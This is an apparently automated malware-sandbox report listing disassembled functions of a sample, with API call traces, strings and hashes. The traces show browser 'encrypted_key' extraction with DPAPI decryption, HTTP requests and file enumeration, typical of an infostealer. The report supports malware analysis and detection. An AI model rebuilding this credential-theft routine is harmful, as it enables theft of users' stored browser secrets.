Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00AF9D39

Part of subcall function 00AF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9AEF
Part of subcall function 00AF9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B01
Part of subcall function 00AF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9B2A
Part of subcall function 00AF9AC0: LocalFree.KERNEL32(?,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B3F

Part of subcall function 00AF9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00AF9B84
Part of subcall function 00AF9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00AF9BA3
Part of subcall function 00AF9B60: LocalFree.KERNEL32(?), ref: 00AF9BD3

Strings

, xrefs: 00AF9DC1
DPAPI, xrefs: 00AF9D89
"encrypted_key":", xrefs: 00AF9D30

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: b9361838a87eba59bffdf29b7dd1dec49e5771b6f0eba58dc7809726dfe3f288
Instruction ID: 65529f0f3bc05726e8cc676327dc57d8577fda745042782292be3d7769b56205
Opcode Fuzzy Hash: b9361838a87eba59bffdf29b7dd1dec49e5771b6f0eba58dc7809726dfe3f288
Instruction Fuzzy Hash: F2313CB6D1020DABCB04EBE4DD85BFFB7B8AB48304F544558FA05A7241EB349A04CBA1

Function 00B06AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,007689D8,?,00B1110C,?,00000000,?,00B11110,?,00000000,00B10AEF), ref: 00B06ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B06AE8
CloseHandle.KERNEL32(00000000), ref: 00B06AF9
Sleep.KERNEL32(00001770), ref: 00B06B04
CloseHandle.KERNEL32(?,00000000,?,007689D8,?,00B1110C,?,00000000,?,00B11110,?,00000000,00B10AEF), ref: 00B06B1A
ExitProcess.KERNEL32 ref: 00B06B22

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 251a43256525a76a83ade0a7ed5579de1053004da09aff8566e04bfd51e02650
Instruction ID: 8ae935bc0fb1b0f032f9f7ee1db267f602040aa79c1a3a04d83ce959377a5cee
Opcode Fuzzy Hash: 251a43256525a76a83ade0a7ed5579de1053004da09aff8566e04bfd51e02650
Instruction Fuzzy Hash: DEF058B0B4030AABE710BBA0DC8ABBE7FB4EB04701F104994B503E12D1CBB09540DAA6

Function 00AF47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

Strings

<, xrefs: 00AF47C9

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 7f61b60b8690d0bb1a13991192e8a052f33eb24d58376e9e9c0907541224bfbc
Instruction ID: b9d2fcf73fce2351e7899c35a298bead59b988a2155b8acc10b7f252d993f2d5
Opcode Fuzzy Hash: 7f61b60b8690d0bb1a13991192e8a052f33eb24d58376e9e9c0907541224bfbc
Instruction Fuzzy Hash: 30210EB1D00309ABDF14DFA4E845ADE7B75FB45320F108625F955A72D0EB706A09CB91

Function 00B051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF6280: InternetOpenA.WININET(00B10DFE,00000001,00000000,00000000,00000000), ref: 00AF62E1
Part of subcall function 00AF6280: StrCmpCA.SHLWAPI(?,0076ED48), ref: 00AF6303
Part of subcall function 00AF6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF6335
Part of subcall function 00AF6280: HttpOpenRequestA.WININET(00000000,GET,?,0076E588,00000000,00000000,00400100,00000000), ref: 00AF6385
Part of subcall function 00AF6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00AF63BF
Part of subcall function 00AF6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AF63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B05228

Strings

ERROR, xrefs: 00B0521A
ERROR, xrefs: 00B05273

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 8f288015c64e725de747b272d93d2bca49dd4ea640bbbc4595c9c64770d802fe
Instruction ID: 03438a91d254b40a582b233435ce09a3e6850e3a4a7682c1a71cd393d2af30b6
Opcode Fuzzy Hash: 8f288015c64e725de747b272d93d2bca49dd4ea640bbbc4595c9c64770d802fe
Instruction Fuzzy Hash: F8110330910248ABDB14FF74DD56EED7BB8AF50300F908998F91A575D2EF31AB05CA91

Function 00B04F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B04F7A
lstrcat.KERNEL32(?,00B11070), ref: 00B04F97
lstrcat.KERNEL32(?,00768A88), ref: 00B04FAB
lstrcat.KERNEL32(?,00B11074), ref: 00B04FBD

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B0492C
Part of subcall function 00B04910: FindFirstFileA.KERNEL32(?,?), ref: 00B04943

Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FDC), ref: 00B04971
Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FE0), ref: 00B04987
Part of subcall function 00B04910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B04B7D
Part of subcall function 00B04910: FindClose.KERNEL32(000000FF), ref: 00B04B92

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 106a848233714764884cfd53fd6253f915e896333aab34d5358d8ed24463beaf
Instruction ID: b4e12ee3e7144e1f11b84c7fc7eeaa14d99ae5fabf07c95b7d95559ac8bb8585
Opcode Fuzzy Hash: 106a848233714764884cfd53fd6253f915e896333aab34d5358d8ed24463beaf
Instruction Fuzzy Hash: 25219B76A00308A7C754F7B4DC46EE9377CAB54300F404594B6DA921D1EE7597C88BB2

Function 00B00740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00768BD8), ref: 00B0079A
StrCmpCA.SHLWAPI(00000000,00768C18), ref: 00B00866
StrCmpCA.SHLWAPI(00000000,00768B48), ref: 00B0099D

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 6ba3f6ee11cac39e51eef9a2ac5187784d8878a3d61fdb9838df366710cb0354
Instruction ID: 83a05572ecb9966972fbac4afe2ffbbac98747aec034c26d8acf05b2071e40ca
Opcode Fuzzy Hash: 6ba3f6ee11cac39e51eef9a2ac5187784d8878a3d61fdb9838df366710cb0354
Instruction Fuzzy Hash: 00914775B102089FCB28EF64D995BED7BB5FF94300F508559E80A9F291DB309A05CB92

Function 00B00765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00768BD8), ref: 00B0079A
StrCmpCA.SHLWAPI(00000000,00768C18), ref: 00B00866
StrCmpCA.SHLWAPI(00000000,00768B48), ref: 00B0099D

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 3e6934a7725987f6c7d51cf995758448c8c7816d5f3093d03c18ec1319806469
Instruction ID: da696612cdad2f81d4b9a8b1783b524d3cf532bf6429e406235d9028f4232237
Opcode Fuzzy Hash: 3e6934a7725987f6c7d51cf995758448c8c7816d5f3093d03c18ec1319806469
Instruction Fuzzy Hash: 49813675B102089FCB18EF68D995BEDBBB5FF94300F50C559E8099F291DB30AA05CB92

Function 00B070D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

memset.MSVCRT ref: 00B0716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00B0718C

Memory Dump Source

